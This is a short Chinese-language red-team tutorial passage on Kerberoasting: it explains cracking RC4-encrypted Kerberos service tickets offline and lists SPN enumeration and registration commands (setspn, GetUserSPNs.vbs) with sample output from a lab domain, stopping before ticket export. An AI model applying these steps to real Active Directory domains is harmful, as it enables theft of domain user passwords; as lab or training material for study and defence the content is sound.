SPN口令爆破

SPN为服务主体名称，是服务实列(MSSQL,HTTP等)的唯一标识，如果安装了服务的多个实列，每个实列都有自己的SPN，如果kerberos服务票证的加密类型为RC4_HMAC_MD5，就可以导出TGS对其进行离线爆破，有可能获取到域用户的密码了。

在以下或者klist查看加密类型

拿下域控权限的常见方法(二)_User


查询域内所有的SPN和查询test域的SPN

setspn.exe -q */*
setspn.exe -T redteam.club -q */*

GetUserSPNs.vbs查询域内注册的spn（kerberoast）

cscript GetUserSPNs.vbs

CN=krbtgt,CN=Users,DC=redteam,DC=club User Logon: krbtgt -- kadmin/changepw

CN=test,CN=Users,DC=redteam,DC=club User Logon: test -- mysql/:3306

给MSSQL服务注册SPN

setspn -s mysql/:3306 test

将kerberos的加密方式换成RC4_HMAC_MD5